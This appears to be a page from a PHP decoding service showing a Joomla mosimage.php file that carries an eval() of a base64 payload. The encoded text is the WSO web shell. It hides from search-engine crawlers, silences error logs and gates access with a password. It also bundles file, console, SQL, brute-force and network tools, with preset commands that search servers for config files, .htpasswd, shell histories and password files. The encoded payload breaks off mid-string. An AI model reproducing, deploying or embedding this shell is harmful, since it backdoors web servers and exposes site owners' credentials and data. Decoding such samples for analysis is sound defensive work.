Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /** * @version $Id: mosimage.php 21069 2011-04-03 22:58:48Z dextercowley $ *..

Decoded Output download

/*59862*/eval($mosimage_category('b'aWYoIWVtcHR5KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsNCiAgICAkdXNlckFnZW50cyA9IGFycmF5KCJHb29nbGUiLCAiU2x1cnAiLCAiTVNOQm90IiwgImlhX2FyY2hpdmVyIiwgIllhbmRleCIsICJSYW1ibGVyIik7DQogICAgaWYocHJlZ19tYXRjaCgnLycgLiBpbXBsb2RlKCd8JywgJHVzZXJBZ2VudHMpIC4gJy9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgew0KICAgICAgICBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsNCiAgICAgICAgZXhpdDsNCiAgICB9DQp9DQoNCkBzZXNzaW9uX3N0YXJ0KCk7DQpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsNCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsNCkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCkBkZWZpbmUoJ1dTT19WRVJTSU9OJywgJzIuNCcpOw0KDQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7DQoJZnVuY3Rpb24gV1NPc3RyaXBzbGFzaGVzKCRhcnJheSkgew0KCQlyZXR1cm4gaXNfYXJyYXkoJGFycmF5KSA/IGFycmF5X21hcCgnV1NPc3RyaXBzbGFzaGVzJywgJGFycmF5KSA6IHN0cmlwc2xhc2hlcygkYXJyYXkpOw0KCX0NCgkkX1BPU1QgPSBXU09zdHJpcHNsYXNoZXMoJF9QT1NUKTsNCn0NCg0KZnVuY3Rpb24gd3NvTG9naW4oKSB7DQoJZGllKCI8cHJlIGFsaWduPWNlbnRlcj48Zm9ybSBtZXRob2Q9cG9zdD5QYXNzd29yZDogPGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1wYXNzPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT48L3ByZT4iKTsNCn0NCg0KaWYoIWlzc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pKQ0KCWlmKCBlbXB0eSgkbW9zaW1hZ2Vfc2Vzc2lvbikgfHwgKCBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgKG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJG1vc2ltYWdlX3Nlc3Npb24pICkgKQ0KCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHJ1ZTsNCgllbHNlDQoJCXdzb0xvZ2luKCk7DQoNCmlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIikNCgkkb3MgPSAnd2luJzsNCmVsc2UNCgkkb3MgPSAnbml4JzsNCg0KJHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsNCmlmKCEkc2FmZV9tb2RlKQ0KICAgIGVycm9yX3JlcG9ydGluZygwKTsNCg0KJGRpc2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQokaG9tZV9jd2QgPSBAZ2V0Y3dkKCk7DQppZihpc3NldCgkX1BPU1RbJ2MnXSkpDQoJQGNoZGlyKCRfUE9TVFsnYyddKTsNCiRjd2QgPSBAZ2V0Y3dkKCk7DQppZigkb3MgPT0gJ3dpbicpIHsNCgkkaG9tZV9jd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRob21lX2N3ZCk7DQoJJGN3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGN3ZCk7DQp9DQppZiggJGN3ZFtzdHJsZW4oJGN3ZCktMV0gIT0gJy8nICkNCgkkY3dkIC49ICcvJzsNCg0KaWYoIWlzc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10pKQ0KICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10gPSAoYm9vbCkkR0xPQkFMU1snZGVmYXVsdF91c2VfYWpheCddOw0KCQ0KaWYoJG9zID09ICd3aW4nKQ0KCSRhbGlhc2VzID0gYXJyYXkoDQoJCSJMaXN0IERpcmVjdG9yeSIgPT4gImRpciIsDQogICAgCSJGaW5kIGluZGV4LnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiBpbmRleC5waHAiLA0KICAgIAkiRmluZCAqY29uZmlnKi5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgKmNvbmZpZyoucGhwIiwNCiAgICAJIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLA0KICAgIAkiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwNCiAgICAJIlVzZXIgYWNjb3VudHMiID0+ICJuZXQgdXNlciIsDQogICAgCSJTaG93IGNvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwNCgkJIkFSUCBUYWJsZSIgPT4gImFycCAtYSIsDQoJCSJJUCBDb25maWd1cmF0aW9uIiA9PiAiaXBjb25maWcgL2FsbCINCgkpOw0KZWxzZQ0KCSRhbGlhc2VzID0gYXJyYXkoDQogIAkJIkxpc3QgZGlyIiA9PiAibHMgLWxoYSIsDQoJCSJsaXN0IGZpbGUgYXR0cmlidXRlcyBvbiBhIExpbnV4IHNlY29uZCBleHRlbmRlZCBmaWxlIHN5c3RlbSIgPT4gImxzYXR0ciAtdmEiLA0KICAJCSJzaG93IG9wZW5lZCBwb3J0cyIgPT4gIm5ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4iLA0KICAgICAgICAicHJvY2VzcyBzdGF0dXMiID0+ICJwcyBhdXgiLA0KCQkiRmluZCIgPT4gIiIsDQogIAkJImZpbmQgYWxsIHN1aWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiwNCiAgCQkiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsDQogIAkJImZpbmQgYWxsIHNnaWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwNCiAgCQkiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIsDQogIAkJImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIsDQogIAkJImZpbmQgY29uZmlnKiBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwNCiAgCQkiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLA0KICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLA0KICAJCSJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtcGVybSAtMiAtbHMiLA0KICAJCSJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwNCiAgCQkiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwNCiAgCQkiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwNCiAgCQkiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLA0KICAJCSJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsDQogIAkJImZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLA0KICAJCSJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLA0KICAJCSJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsDQoJCSJMb2NhdGUiID0+ICIiLA0KICAJCSJsb2NhdGUgaHR0cGQuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBodHRwZC5jb25mIiwNCgkJImxvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSB2aG9zdHMuY29uZiIsDQoJCSJsb2NhdGUgcHJvZnRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHByb2Z0cGQuY29uZiIsDQoJCSJsb2NhdGUgcHN5Ym5jLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHN5Ym5jLmNvbmYiLA0KCQkibG9jYXRlIG15LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgbXkuY29uZiIsDQoJCSJsb2NhdGUgYWRtaW4ucGhwIGZpbGVzIiA9PiJsb2NhdGUgYWRtaW4ucGhwIiwNCgkJImxvY2F0ZSBjZmcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNmZy5waHAiLA0KCQkibG9jYXRlIGNvbmYucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmYucGhwIiwNCgkJImxvY2F0ZSBjb25maWcuZGF0IGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kYXQiLA0KCQkibG9jYXRlIGNvbmZpZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLnBocCIsDQoJCSJsb2NhdGUgY29uZmlnLmluYyBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuaW5jIiwNCgkJImxvY2F0ZSBjb25maWcuaW5jLnBocCIgPT4gImxvY2F0ZSBjb25maWcuaW5jLnBocCIsDQoJCSJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCIsDQoJCSJsb2NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJsb2NhdGUgY29uZmlnIiwNCgkJImxvY2F0ZSAuY29uZiBmaWxlcyI9PiJsb2NhdGUgJy5jb25mJyIsDQoJCSJsb2NhdGUgLnB3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLnB3ZCciLA0KCQkibG9jYXRlIC5zcWwgZmlsZXMiID0+ICJsb2NhdGUgJy5zcWwnIiwNCgkJImxvY2F0ZSAuaHRwYXNzd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5odHBhc3N3ZCciLA0KCQkibG9jYXRlIC5iYXNoX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5iYXNoX2hpc3RvcnknIiwNCgkJImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLm15c3FsX2hpc3RvcnknIiwNCgkJImxvY2F0ZSAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJsb2NhdGUgJy5mZXRjaG1haWxyYyciLA0KCQkibG9jYXRlIGJhY2t1cCBmaWxlcyIgPT4gImxvY2F0ZSBiYWNrdXAiLA0KCQkibG9jYXRlIGR1bXAgZmlsZXMiID0+ICJsb2NhdGUgZHVtcCIsDQoJCSJsb2NhdGUgcHJpdiBmaWxlcyIgPT4gImxvY2F0ZSBwcml2IgkNCgkpOw0KDQpmdW5jdGlvbiB3c29IZWFkZXIoKSB7DQoJaWYoZW1wdHkoJF9QT1NUWydjaGFyc2V0J10pKQ0KCQkkX1BPU1RbJ2NoYXJzZXQnXSA9ICRHTE9CQUxTWydkZWZhdWx0X2NoYXJzZXQnXTsNCglnbG9iYWwgJGNvbG9yOw0KCWVjaG8gIjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PSIgLiAkX1BPU1RbJ2NoYXJzZXQnXSAuICInPjx0aXRsZT4iIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIiAtIFdTTyAiIC4gV1NPX1ZFUlNJT04gLiI8L3RpdGxlPg0KPHN0eWxlPg0KYm9keXtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7Y29sb3I6I2UxZTFlMTt9DQpib2R5LHRkLHRoeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNlMWUxZTE7IH0NCnRhYmxlLmluZm97IGNvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojMjIyOyB9DQpzcGFuLGgxLGF7IGNvbG9yOiAkY29sb3IgIWltcG9ydGFudDsgfQ0Kc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQ0KaDF7IGJvcmRlci1sZWZ0OjVweCBzb2xpZCAkY29sb3I7cGFkZGluZzogMnB4IDVweDtmb250OiAxNHB0IFZlcmRhbmE7YmFja2dyb3VuZC1jb2xvcjojMjIyO21hcmdpbjowcHg7IH0NCmRpdi5jb250ZW50eyBwYWRkaW5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzMzMzsgfQ0KYXsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0NCmE6aG92ZXJ7IHRleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7IH0NCi5tbDF7IGJvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQ0KLmJpZ2FyZWF7IHdpZHRoOjEwMCU7aGVpZ2h0OjI1MHB4OyB9DQppbnB1dCx0ZXh0YXJlYSxzZWxlY3R7IG1hcmdpbjowO2NvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojNTU1O2JvcmRlcjoxcHggc29saWQgJGNvbG9yOyBmb250OiA5cHQgTW9ub3NwYWNlLCdDb3VyaWVyIE5ldyc7IH0NCmZvcm17IG1hcmdpbjowcHg7IH0NCiN0b29sc1RibHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0NCi50b29sc0lucHsgd2lkdGg6IDMwMHB4IH0NCi5tYWluIHRoe3RleHQtYWxpZ246bGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiM1ZTVlNWU7fQ0KLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlfQ0KLmwxe2JhY2tncm91bmQtY29sb3I6IzQ0NH0NCi5sMntiYWNrZ3JvdW5kLWNvbG9yOiMzMzN9DQpwcmV7Zm9udC1mYW1pbHk6Q291cmllcixNb25vc3BhY2U7fQ0KPC9zdHlsZT4NCjxzY3JpcHQ+DQogICAgdmFyIGNfID0gJyIgLiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiAiJzsNCiAgICB2YXIgYV8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnYSddKSAuIicNCiAgICB2YXIgY2hhcnNldF8gPSAnIiAuIGh0bWxzcGVjaWFsY2hhcnMoQCRfUE9TVFsnY2hhcnNldCddKSAuIic7DQogICAgdmFyIHAxXyA9ICciIC4gKChzdHJwb3MoQCRfUE9TVFsncDEnXSwiXG4iKSE9PWZhbHNlKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSxFTlRfUVVPVEVTKSkgLiInOw0KICAgIHZhciBwMl8gPSAnIiAuICgoc3RycG9zKEAkX1BPU1RbJ3AyJ10sIlxuIikhPT1mYWxzZSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10sRU5UX1FVT1RFUykpIC4iJzsNCiAgICB2YXIgcDNfID0gJyIgLiAoKHN0cnBvcyhAJF9QT1NUWydwMyddLCJcbiIpIT09ZmFsc2UpPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMyddLEVOVF9RVU9URVMpKSAuIic7DQogICAgdmFyIGQgPSBkb2N1bWVudDsNCglmdW5jdGlvbiBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsNCgkJaWYoYSE9bnVsbClkLm1mLmEudmFsdWU9YTtlbHNlIGQubWYuYS52YWx1ZT1hXzsNCgkJaWYoYyE9bnVsbClkLm1mLmMudmFsdWU9YztlbHNlIGQubWYuYy52YWx1ZT1jXzsNCgkJaWYocDEhPW51bGwpZC5tZi5wMS52YWx1ZT1wMTtlbHNlIGQubWYucDEudmFsdWU9cDFfOw0KCQlpZihwMiE9bnVsbClkLm1mLnAyLnZhbHVlPXAyO2Vsc2UgZC5tZi5wMi52YWx1ZT1wMl87DQoJCWlmKHAzIT1udWxsKWQubWYucDMudmFsdWU9cDM7ZWxzZSBkLm1mLnAzLnZhbHVlPXAzXzsNCgkJaWYoY2hhcnNldCE9bnVsbClkLm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldDtlbHNlIGQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0XzsNCgl9DQoJZnVuY3Rpb24gZyhhLGMscDEscDIscDMsY2hhcnNldCkgew0KCQlzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOw0KCQlkLm1mLnN1Ym1pdCgpOw0KCX0NCglmdW5jdGlvbiBhKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7DQoJCXNldChhLGMscDEscDIscDMsY2hhcnNldCk7DQoJCXZhciBwYXJhbXMgPSAnYWpheD10cnVlJzsNCgkJZm9yKGk9MDtpPGQubWYuZWxlbWVudHMubGVuZ3RoO2krKykNCgkJCXBhcmFtcyArPSAnJicrZC5tZi5lbGVtZW50c1tpXS5uYW1lKyc9JytlbmNvZGVVUklDb21wb25lbnQoZC5tZi5lbGVtZW50c1tpXS52YWx1ZSk7DQoJCXNyKCciIC4gYWRkc2xhc2hlcygkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiInLCBwYXJhbXMpOw0KCX0NCglmdW5jdGlvbiBzcih1cmwsIHBhcmFtcykgewkNCgkJaWYgKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCkNCgkJCXJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOw0KCQllbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkNCgkJCXJlcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCdNaWNyb3NvZnQuWE1MSFRUUCcpOw0KICAgICAgICBpZiAocmVxKSB7DQogICAgICAgICAgICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsNCiAgICAgICAgICAgIHJlcS5vcGVuKCdQT1NUJywgdXJsLCB0cnVlKTsNCiAgICAgICAgICAgIHJlcS5zZXRSZXF1ZXN0SGVhZGVyICgnQ29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpOw0KICAgICAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsNCiAgICAgICAgfQ0KCX0NCglmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgew0KCQlpZiggKHJlcS5yZWFkeVN0YXRlID09IDQpICkNCgkJCWlmKHJlcS5zdGF0dXMgPT0gMjAwKSB7DQoJCQkJdmFyIHJlZyA9IG5ldyBSZWdFeHAoXCIoXFxcXGQrKShbXFxcXFNcXFxcc10qKVwiLCAnbScpOw0KCQkJCXZhciBhcnI9cmVnLmV4ZWMocmVxLnJlc3BvbnNlVGV4dCk7DQoJCQkJZXZhbChhcnJbMl0uc3Vic3RyKDAsIGFyclsxXSkpOw0KCQkJfSBlbHNlIGFsZXJ0KCdSZXF1ZXN0IGVycm9yIScpOw0KCX0NCjwvc2NyaXB0Pg0KPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0ncG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7dG9wOjA7bGVmdDowOyc+DQo8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWE+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDE+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldD4NCjwvZm9ybT4iOw0KCSRmcmVlU3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOw0KCSR0b3RhbFNwYWNlID0gQGRpc2tfdG90YWxfc3BhY2UoJEdMT0JBTFNbJ2N3ZCddKTsNCgkkdG90YWxTcGFjZSA9ICR0b3RhbFNwYWNlPyR0b3RhbFNwYWNlOjE7DQoJJHJlbGVhc2UgPSBAcGhwX3VuYW1lKCdyJyk7DQoJJGtlcm5lbCA9IEBwaHBfdW5hbWUoJ3MnKTsNCgkkZXhwbGluayA9ICdodHRwOi8vZXhwbG9pdC1kYi5jb20vbGlzdC5waHA/ZGVzY3JpcHRpb249JzsNCglpZihzdHJwb3MoJ0xpbnV4JywgJGtlcm5lbCkgIT09IGZhbHNlKQ0KCQkkZXhwbGluayAuPSB1cmxlbmNvZGUoJ0xpbnV4IEtlcm5lbCAnIC4gc3Vic3RyKCRyZWxlYXNlLDAsNikpOw0KCWVsc2UNCgkJJGV4cGxpbmsgLj0gdXJsZW5jb2RlKCRrZXJuZWwgLiAnICcgLiBzdWJzdHIoJHJlbGVhc2UsMCwzKSk7DQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKSB7DQoJCSR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsNCgkJJHVpZCA9IEBnZXRteXVpZCgpOw0KCQkkZ2lkID0gQGdldG15Z2lkKCk7DQoJCSRncm91cCA9ICI/IjsNCgl9IGVsc2Ugew0KCQkkdWlkID0gQHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSk7DQoJCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsNCgkJJHVzZXIgPSAkdWlkWyduYW1lJ107DQoJCSR1aWQgPSAkdWlkWyd1aWQnXTsNCgkJJGdyb3VwID0gJGdpZFsnbmFtZSddOw0KCQkkZ2lkID0gJGdpZFsnZ2lkJ107DQoJfQ0KDQoJJGN3ZF9saW5rcyA9ICcnOw0KCSRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7DQoJJG49Y291bnQoJHBhdGgpOw0KCWZvcigkaT0wOyAkaTwkbi0xOyAkaSsrKSB7DQoJCSRjd2RfbGlua3MgLj0gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjsNCgkJZm9yKCRqPTA7ICRqPD0kaTsgJGorKykNCgkJCSRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsNCgkJJGN3ZF9saW5rcyAuPSAiXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iOw0KCX0NCg0KCSRjaGFyc2V0cyA9IGFycmF5KCdVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2NicpOw0KCSRvcHRfY2hhcnNldHMgPSAnJzsNCglmb3JlYWNoKCRjaGFyc2V0cyBhcyAkaXRlbSkNCgkJJG9wdF9jaGFyc2V0cyAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4kaXRlbS4nIiAnLigkX1BPU1RbJ2NoYXJzZXQnXT09JGl0ZW0/J3NlbGVjdGVkJzonJykuJz4nLiRpdGVtLic8L29wdGlvbj4nOw0KDQoJJG0gPSBhcnJheSgnU2VjLiBJbmZvJz0+J1NlY0luZm8nLCdGaWxlcyc9PidGaWxlc01hbicsJ0NvbnNvbGUnPT4nQ29uc29sZScsJ1NxbCc9PidTcWwnLCdQaHAnPT4nUGhwJywnU2FmZSBtb2RlJz0+J1NhZmVNb2RlJywnU3RyaW5nIHRvb2xzJz0+J1N0cmluZ1Rvb2xzJywnQnJ1dGVmb3JjZSc9PidCcnV0ZWZvcmNlJywnTmV0d29yayc9PidOZXR3b3JrJyk7DQoJaWYoIWVtcHR5KCRHTE9CQUxTWydhdXRoX3Bhc3MnXSkpDQoJCSRtWydMb2dvdXQnXSA9ICdMb2dvdXQnOw0KCSRtWydTZWxmIHJlbW92ZSddID0gJ1NlbGZSZW1vdmUnOw0KCSRtZW51ID0gJyc7DQoJZm9yZWFjaCgkbSBhcyAkayA9PiAkdikNCgkJJG1lbnUgLj0gJzx0aCB3aWR0aD0iJy4oaW50KSgxMDAvY291bnQoJG0pKS4nJSI+WyA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnJy4kdi4nXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJykiPicuJGsuJzwvYT4gXTwvdGg+JzsNCg0KCSRkcml2ZXMgPSAiIjsNCglpZigkR0xPQkFMU1snb3MnXSA9PSAnd2luJykgew0KCQlmb3JlYWNoKHJhbmdlKCdjJywneicpIGFzICRkcml2ZSkNCgkJaWYoaXNfZGlyKCRkcml2ZS4nOlxcJykpDQoJCQkkZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7DQoJfQ0KCWVjaG8gJzx0YWJsZSBjbGFzcz1pbmZvIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3aWR0aD0xMDAlPjx0cj48dGQgd2lkdGg9MT48c3Bhbj5VbmFtZTo8YnI+VXNlcjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDonIC4gKCRHTE9CQUxTWydvcyddID09ICd3aW4nPyc8YnI+RHJpdmVzOic6JycpIC4gJzwvc3Bhbj48L3RkPicNCiAgICAgICAuICc8dGQ+PG5vYnI+JyAuIHN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkgLiAnIDxhIGhyZWY9IicgLiAkZXhwbGluayAuICciIHRhcmdldD1fYmxhbms+W2V4cGxvaXQtZGIuY29tXTwvYT48L25vYnI+PGJyPicgLiAkdWlkIC4gJyAoICcgLiAkdXNlciAuICcgKSA8c3Bhbj5Hcm91cDo8L3NwYW4+ICcgLiAkZ2lkIC4gJyAoICcgLiAkZ3JvdXAgLiAnICk8YnI+JyAuIEBwaHB2ZXJzaW9uKCkgLiAnIDxzcGFuPlNhZmUgbW9kZTo8L3NwYW4+ICcgLiAoJEdMT0JBTFNbJ3NhZmVfbW9kZSddPyc8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+JzonPGZvbnQgY29sb3I9IzAwYmIwMD48Yj5PRkY8L2I+PC9mb250PicpDQogICAgICAgLiAnIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnUGhwXCcsbnVsbCxcJ1wnLFwnaW5mb1wnKSI+WyBwaHBpbmZvIF08L2E+IDxzcGFuPkRhdGV0aW1lOjwvc3Bhbj4gJyAuIGRhdGUoJ1ktbS1kIEg6aTpzJykgLiAnPGJyPicgLiB3c29WaWV3U2l6ZSgkdG90YWxTcGFjZSkgLiAnIDxzcGFuPkZyZWU6PC9zcGFuPiAnIC4gd3NvVmlld1NpemUoJGZyZWVTcGFjZSkgLiAnICgnLiAoaW50KSAoJGZyZWVTcGFjZS8kdG90YWxTcGFjZSoxMDApIC4gJyUpPGJyPicgLiAkY3dkX2xpbmtzIC4gJyAnLiB3c29QZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXSkgLiAnIDxhIGhyZWY9IyBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycgLiAkR0xPQkFMU1snaG9tZV9jd2QnXSAuICdcJyxcJ1wnLFwnXCcsXCdcJykiPlsgaG9tZSBdPC9hPjxicj4nIC4gJGRyaXZlcyAuICc8L3RkPicNCiAgICA